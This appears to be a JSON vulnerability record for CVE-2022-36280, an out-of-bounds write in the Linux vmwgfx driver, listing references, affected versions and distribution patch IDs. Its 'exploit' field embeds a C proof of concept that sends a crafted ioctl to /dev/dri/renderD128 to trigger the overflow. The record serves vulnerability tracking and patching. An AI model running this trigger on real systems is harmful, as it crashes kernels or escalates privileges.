{"api_version":"1","generated_at":"2026-04-22T23:52:29+00:00","cve":"CVE-2022-36280","urls":{"html":"https://cve.report/CVE-2022-36280","api":"https://cve.report/api/cve/CVE-2022-36280.json","docs":"https://cve.report/api","cve_org":"https://www.cve.org/CVERecord?id=CVE-2022-36280","nvd":"https://nvd.nist.gov/vuln/detail/CVE-2022-36280"},"summary":{"title":"CVE-2022-36280","description":"An out-of-bounds(OOB) memory access vulnerability was found in vmwgfx driver in drivers/gpu/vmxgfx/vmxgfx_kms.c in GPU component in the Linux kernel with device file '/dev/dri/renderD128 (or Dxxx)'. This flaw allows a local attacker with a user account on the system to gain privilege, causing a denial of service(DoS).","state":"PUBLIC","assigner":"security@openanolis.org","published_at":"2022-09-09 15:15:00","updated_at":"2023-05-03 14:15:00"},"problem_types":["CWE-787"],"metrics":[],"references":[{"url":"https://bugzilla.openanolis.cn/show_bug.cgi?id=2071","name":"https://bugzilla.openanolis.cn/show_bug.cgi?id=2071","refsource":"MISC","tags":[],"title":"Bug Access Denied","mime":"text/html","httpstatus":"200","archivestatus":"404"},{"url":"https://lists.debian.org/debian-lts-announce/2023/03/msg00000.html","name":"[debian-lts-announce] 20230302 [SECURITY] [DLA 3349-1] linux-5.10 security update","refsource":"MLIST","tags":[],"title":"[SECURITY] [DLA 3349-1] linux-5.10 security update","mime":"text/html","httpstatus":"200","archivestatus":"404"},{"url":"https://www.debian.org/security/2023/dsa-5324","name":"DSA-5324","refsource":"DEBIAN","tags":[],"title":"Debian -- Security Information -- DSA-5324-1 linux","mime":"text/html","httpstatus":"200","archivestatus":"200"},{"url":"https://lists.debian.org/debian-lts-announce/2023/05/msg00006.html","name":"[debian-lts-announce] 20230503 [SECURITY] [DLA 3403-1] linux security update","refsource":"MLIST","tags":[],"title":"[SECURITY] [DLA 3403-1] linux security update","mime":"text/html","httpstatus":"200","archivestatus":"404"},{"url":"https://www.cve.org/CVERecord?id=CVE-2022-36280","name":"CVE Program record","refsource":"CVE.ORG","tags":["canonical"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2022-36280","name":"NVD vulnerability detail","refsource":"NVD","tags":["canonical","analysis"]}],"affected":[],"timeline":[],"solutions":[],"workarounds":[],"exploits":[],"credits":[{"source":"LEGACY","value":"Ziming Zhang(ezrakiez@gmail.com) from Ant Group Light-Year Security Lab","lang":""}],"nvd_cpes":[{"cve_year":"2022","cve_id":"36280","vulnerable":"1","versionEndIncluding":"","cpe1":"cpe","cpe2":"2.3","cpe3":"o","cpe4":"debian","cpe5":"debian_linux","cpe6":"11.0","cpe7":"*","cpe8":"*","cpe9":"*","cpe10":"*","cpe11":"*","cpe12":"*","cpe13":"*"},{"cve_year":"2022","cve_id":"36280","vulnerable":"1","versionEndIncluding":"5.13.0-52","cpe1":"cpe","cpe2":"2.3","cpe3":"o","cpe4":"linux","cpe5":"linux_kernel","cpe6":"*","cpe7":"*","cpe8":"*","cpe9":"*","cpe10":"*","cpe11":"*","cpe12":"*","cpe13":"*"}],"vendor_comments":[],"enrichments":{"kev":null,"epss":null,"legacy_qids":[{"cve":"CVE-2022-36280","qid":"181491","title":"Debian Security Update for linux (DSA 5324-1)"},{"cve":"CVE-2022-36280","qid":"181618","title":"Debian Security Update for linux-5.10 (DLA 3349-1)"},{"cve":"CVE-2022-36280","qid":"181768","title":"Debian Security Update for linux (DLA 3403-1)"},{"cve":"CVE-2022-36280","qid":"184909","title":"Debian Security Update for linux (CVE-2022-36280)"},{"cve":"CVE-2022-36280","qid":"199208","title":"Ubuntu Security Notification for Linux kernel (OEM) Vulnerabilities (USN-5915-1)"},{"cve":"CVE-2022-36280","qid":"199212","title":"Ubuntu Security Notification for Linux kernel Vulnerabilities (USN-5917-1)"},{"cve":"CVE-2022-36280","qid":"199218","title":"Ubuntu Security Notification for Linux kernel (Azure) Vulnerabilities (USN-5927-1)"},{"cve":"CVE-2022-36280","qid":"199224","title":"Ubuntu Security Notification for Linux kernel (Raspberry Pi) Vulnerabilities (USN-5934-1)"},{"cve":"CVE-2022-36280","qid":"199226","title":"Ubuntu Security Notification for Linux kernel (GCP) Vulnerabilities (USN-5939-1)"},{"cve":"CVE-2022-36280","qid":"199230","title":"Ubuntu Security Notification for Linux kernel (Raspberry Pi) Vulnerabilities (USN-5940-1)"},{"cve":"CVE-2022-36280","qid":"199239","title":"Ubuntu Security Notification for Linux kernel (IBM) Vulnerabilities (USN-5951-1)"},{"cve":"CVE-2022-36280","qid":"199255","title":"Ubuntu Security Notification for Linux kernel (OEM) Vulnerabilities (USN-5976-1)"},{"cve":"CVE-2022-36280","qid":"199260","title":"Ubuntu Security Notification for Linux kernel Vulnerabilities (USN-5982-1)"},{"cve":"CVE-2022-36280","qid":"199261","title":"Ubuntu Security Notification for Linux kernel Vulnerabilities (USN-5984-1)"},{"cve":"CVE-2022-36280","qid":"199265","title":"Ubuntu Security Notification for Linux kernel Vulnerabilities (USN-5987-1)"},{"cve":"CVE-2022-36280","qid":"199267","title":"Ubuntu Security Notification for Linux kernel (GCP) Vulnerabilities (USN-5991-1)"},{"cve":"CVE-2022-36280","qid":"199276","title":"Ubuntu Security Notification for Linux kernel (BlueField) Vulnerabilities (USN-6000-1)"},{"cve":"CVE-2022-36280","qid":"199280","title":"Ubuntu Security Notification for Linux kernel (Intel IoTG) Vulnerabilities (USN-6004-1)"},{"cve":"CVE-2022-36280","qid":"199297","title":"Ubuntu Security Notification for Linux kernel (OEM) Vulnerabilities (USN-6032-1)"},{"cve":"CVE-2022-36280","qid":"199300","title":"Ubuntu Security Notification for Linux kernel (Qualcomm Snapdragon) Vulnerabilities (USN-6030-1)"},{"cve":"CVE-2022-36280","qid":"199343","title":"Ubuntu Security Notification for Linux kernel Vulnerabilities (USN-6079-1)"},{"cve":"CVE-2022-36280","qid":"199353","title":"Ubuntu Security Notification for Linux kernel Vulnerabilities (USN-6091-1)"},{"cve":"CVE-2022-36280","qid":"199354","title":"Ubuntu Security Notification for Linux kernel Vulnerabilities (USN-6096-1)"},{"cve":"CVE-2022-36280","qid":"199502","title":"Ubuntu Security Notification for Linux kernel Vulnerabilities (USN-5975-1)"},{"cve":"CVE-2022-36280","qid":"199541","title":"Ubuntu Security Notification for Linux kernel (Azure) Vulnerabilities (USN-5924-1)"},{"cve":"CVE-2022-36280","qid":"199560","title":"Ubuntu Security Notification for Linux kernel (AWS) Vulnerabilities (USN-6001-1)"},{"cve":"CVE-2022-36280","qid":"199568","title":"Ubuntu Security Notification for Linux kernel (AWS) Vulnerabilities (USN-6013-1)"},{"cve":"CVE-2022-36280","qid":"199570","title":"Ubuntu Security Notification for Linux kernel Vulnerabilities (USN-5981-1)"},{"cve":"CVE-2022-36280","qid":"199577","title":"Ubuntu Security Notification for Linux kernel Vulnerabilities (USN-6014-1)"},{"cve":"CVE-2022-36280","qid":"199587","title":"Ubuntu Security Notification for Linux kernel (GCP) Vulnerabilities (USN-6009-1)"},{"cve":"CVE-2022-36280","qid":"378701","title":"Alibaba Cloud Linux Security Update for cloud-kernel (ALINUX2-SA-2023:0030)"},{"cve":"CVE-2022-36280","qid":"378710","title":"Alibaba Cloud Linux Security Update for cloud-kernel (ALINUX3-SA-2023:0079)"},{"cve":"CVE-2022-36280","qid":"379043","title":"Alibaba Cloud Linux Security Update for cloud-kernel (ALINUX3-SA-2023:0136)"},{"cve":"CVE-2022-36280","qid":"672935","title":"EulerOS Security Update for kernel (EulerOS-SA-2023-1824)"},{"cve":"CVE-2022-36280","qid":"673208","title":"EulerOS Security Update for kernel (EulerOS-SA-2023-2315)"},{"cve":"CVE-2022-36280","qid":"673393","title":"EulerOS Security Update for kernel (EulerOS-SA-2023-2647)"},{"cve":"CVE-2022-36280","qid":"674113","title":"EulerOS Security Update for kernel (EulerOS-SA-2023-2689)"},{"cve":"CVE-2022-36280","qid":"753743","title":"SUSE Enterprise Linux Security Update for the Linux Kernel (SUSE-SU-2023:0618-1)"},{"cve":"CVE-2022-36280","qid":"753745","title":"SUSE Enterprise Linux Security Update for the Linux Kernel (SUSE-SU-2023:0634-1)"},{"cve":"CVE-2022-36280","qid":"753807","title":"SUSE Enterprise Linux Security Update for the Linux Kernel (SUSE-SU-2023:0768-1)"},{"cve":"CVE-2022-36280","qid":"753808","title":"SUSE Enterprise Linux Security Update for the Linux Kernel (SUSE-SU-2023:0778-1)"},{"cve":"CVE-2022-36280","qid":"753810","title":"SUSE Enterprise Linux Security Update for the Linux Kernel (SUSE-SU-2023:0780-1)"},{"cve":"CVE-2022-36280","qid":"753832","title":"SUSE Enterprise Linux Security Update for the Linux Kernel (SUSE-SU-2023:0852-1)"},{"cve":"CVE-2022-36280","qid":"755842","title":"SUSE Enterprise Linux Security Update for the linux kernel (SUSE-SU-2023:0774-1)"},{"cve":"CVE-2022-36280","qid":"755851","title":"SUSE Enterprise Linux Security Update for the linux kernel (SUSE-SU-2023:2646-1)"},{"cve":"CVE-2022-36280","qid":"755900","title":"SUSE Enterprise Linux Security Update for the Linux-RT Kernel (SUSE-SU-2023:0488-1)"},{"cve":"CVE-2022-36280","qid":"903907","title":"Common Base Linux Mariner (CBL-Mariner) Security Update for kernel (10950)"},{"cve":"CVE-2022-36280","qid":"906230","title":"Common Base Linux Mariner (CBL-Mariner) Security Update for kernel (10950-2)"},{"cve":"CVE-2022-36280","qid":"906608","title":"Common Base Linux Mariner (CBL-Mariner) Security Update for kernel (10950-4)"}]},"source_records":{"cve_program":{"CVE_data_meta":{"AKA":"Anolis","ASSIGNER":"security@openanolis.org","DATE_PUBLIC":"2022-09-06T07:00:00.000Z","ID":"CVE-2022-36280","STATE":"PUBLIC","TITLE":"There is an out-of-bounds write vulnerability in vmwgfx driver"},"affects":{"vendor":{"vendor_data":[{"product":{"product_data":[{"product_name":"kernel","version":{"version_data":[{"version_affected":">=","version_name":"5.13.0-52","version_value":"v3.2-rc1"}]}}]},"vendor_name":"Linux"}]}},"credit":[{"lang":"eng","value":"Ziming Zhang(ezrakiez@gmail.com) from Ant Group Light-Year Security Lab"}],"data_format":"MITRE","data_type":"CVE","data_version":"4.0","description":{"description_data":[{"lang":"eng","value":"An out-of-bounds(OOB) memory access vulnerability was found in vmwgfx driver in drivers/gpu/vmxgfx/vmxgfx_kms.c in GPU component in the Linux kernel with device file '/dev/dri/renderD128 (or Dxxx)'. This flaw allows a local attacker with a user account on the system to gain privilege, causing a denial of service(DoS)."}]},"exploit":[{"lang":"eng","value":"#include <stdio.h>\n#include <string.h>\n#include <unistd.h>\n#include <errno.h>\n\n#include <linux/if_tun.h>\n#include <net/if.h>\n#include <sys/ioctl.h>\n#include <sys/types.h>\n#include <sys/stat.h>\n#include <fcntl.h>\n#include <pthread.h>\n#include <sys/socket.h>\n#include <string.h>\n#include <unistd.h>\n#include <stdlib.h>\n#include <sys/ioctl.h>\n#include <errno.h>\n#include <stdio.h>\n#include <fcntl.h>\n#include <pthread.h>\n#include <stdio.h>\n#include <sys/types.h>\n#include <stdint.h>\n#include <netinet/ip.h>\n#include <sys/resource.h>\n#include <sys/syscall.h>\n#include <limits.h>\n#include <sys/mman.h>\n\n#include <linux/fs.h>\nint fd = 0;\ntypedef struct mixer\n{\n\tint index;\n\tint fd;\n\tchar *msg;\n}mixer_t;\n\nstruct drm_vmw_surface_create_req {\n\t__u32 flags;\n\t__u32 format;\n\t__u32 mip_levels[6];\n\t__u64 size_addr;\n\t__s32 shareable;\n\t__s32 scanout;\n};\nstruct drm_vmw_execbuf_arg {\n\t__u64 commands;\n\t__u32 command_size;\n\t__u32 throttle_us;\n\t__u64 fence_rep;\n\t__u32 version;\n\t__u32 flags;\n\t__u32 context_handle;\n\t__s32 imported_fence_fd;\n};\nvoid init(){\nif ((fd = open(\"/dev/dri/renderD128\", O_RDWR)) == -1)\n                {\n                        printf(\"open tun failed: %s\\n\", strerror(errno));\n                        return -1;\n                }\n       \n}\nvoid poc(int handle,int sid){\nchar *vaddr=(unsigned long)mmap(NULL,\n               0x2000,\n                PROT_READ | PROT_WRITE,\n                MAP_PRIVATE | MAP_ANONYMOUS | MAP_POPULATE /* important */,\n-1, 0);\n\t\n\t if (mlock((void *)vaddr, 0x2000) == -1) {\n                printf(\"[-] failed to lock memory (%s), aborting!\\n\",\n                        strerror(errno));\n                        }\n                        \n          memset(vaddr,\"a\",0x2000);     \nint cmd[0x1000]={0};\ncmd[0]=1044;\ncmd[1]=0x50;\ncmd[2]=handle;\ncmd[3]=0;\ncmd[5]=sid;\ncmd[6]=0;\ncmd[7]=0;\ncmd[13]=1;\ncmd[12]=0x2000;\ncmd[14]=1;\ncmd[19]=12;\nstruct drm_vmw_execbuf_arg arg={0};\n\targ.commands=cmd;\n\targ.command_size=0x100;\n\targ.version=1;  \n                if (ioctl(fd, 0x4028644C, &arg) == -1)\n                {\n                        printf(\"ioctl tun failed: %s\\n\", strerror(errno));\n                        return -1;\n                }\n\n}\nint alloc_bo(){\n\nint arg[0x10]={0};\narg[0]=0x10000;\nif (ioctl(fd, 0xC0186441, &arg) == -1)\n                {\n                        printf(\"ioctl tun failed: %s\\n\", strerror(errno));\n                        return -1;\n                }\n   return arg[2];         \n}\n\nint create_surface(){\nint buf[0x100]={0};\nbuf[0]=64;\nbuf[1]=64;\nbuf[2]=64;\n\nstruct drm_vmw_surface_create_req arg={0};\narg.flags=0;\narg.format=2;\narg.mip_levels[0]=1;\narg.size_addr=buf;\narg.shareable=0;\narg.scanout=0x10;\n\nif (ioctl(fd, 0xC0306449, &arg) == -1)\n                {\n                        printf(\"ioctl tun failed: %s\\n\", strerror(errno));\n                        return -1;\n                }\nreturn arg.flags;\n}\nint main(int ac, char **argv)\n{\ninit();\nint handle=alloc_bo();\n  int sid =    create_surface();     \n  printf(\"%d\",sid);     \n    poc(handle,sid);            \n  \n}\n\n\n"}],"generator":{"engine":"Vulnogram 0.0.9"},"impact":{"cvss":{"attackComplexity":"LOW","attackVector":"NETWORK","availabilityImpact":"HIGH","baseScore":6.3,"baseSeverity":"MEDIUM","confidentialityImpact":"NONE","integrityImpact":"LOW","privilegesRequired":"LOW","scope":"UNCHANGED","userInteraction":"REQUIRED","vectorString":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:H","version":"3.1"}},"problemtype":{"problemtype_data":[{"description":[{"lang":"eng","value":"CWE-120 Buffer Overflow"}]}]},"references":{"reference_data":[{"refsource":"MISC","url":"https://bugzilla.openanolis.cn/show_bug.cgi?id=2071","name":"https://bugzilla.openanolis.cn/show_bug.cgi?id=2071"},{"refsource":"DEBIAN","name":"DSA-5324","url":"https://www.debian.org/security/2023/dsa-5324"},{"refsource":"MLIST","name":"[debian-lts-announce] 20230302 [SECURITY] [DLA 3349-1] linux-5.10 security update","url":"https://lists.debian.org/debian-lts-announce/2023/03/msg00000.html"},{"refsource":"MLIST","name":"[debian-lts-announce] 20230503 [SECURITY] [DLA 3403-1] linux security update","url":"https://lists.debian.org/debian-lts-announce/2023/05/msg00006.html"}]},"source":{"defect":["https://bugzilla.openanolis.cn/show_bug.cgi?id=2071"],"discovery":"INTERNAL"}},"nvd":{"publishedDate":"2022-09-09 15:15:00","lastModifiedDate":"2023-05-03 14:15:00","problem_types":["CWE-787"],"metrics":{"baseMetricV3":{"cvssV3":{"version":"3.1","vectorString":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H","attackVector":"LOCAL","attackComplexity":"LOW","privilegesRequired":"LOW","userInteraction":"NONE","scope":"UNCHANGED","confidentialityImpact":"NONE","integrityImpact":"NONE","availabilityImpact":"HIGH","baseScore":5.5,"baseSeverity":"MEDIUM"},"exploitabilityScore":1.8,"impactScore":3.6}},"configurations":{"CVE_data_version":"4.0","nodes":[{"operator":"OR","children":[],"cpe_match":[{"vulnerable":true,"cpe23Uri":"cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*","versionStartIncluding":"3.2","versionEndIncluding":"5.13.0-52","cpe_name":[]}]},{"operator":"OR","children":[],"cpe_match":[{"vulnerable":true,"cpe23Uri":"cpe:2.3:o:debian:debian_linux:11.0:*:*:*:*:*:*:*","cpe_name":[]}]}]}},"legacy_mitre":{"record":null,"notes":[]}}}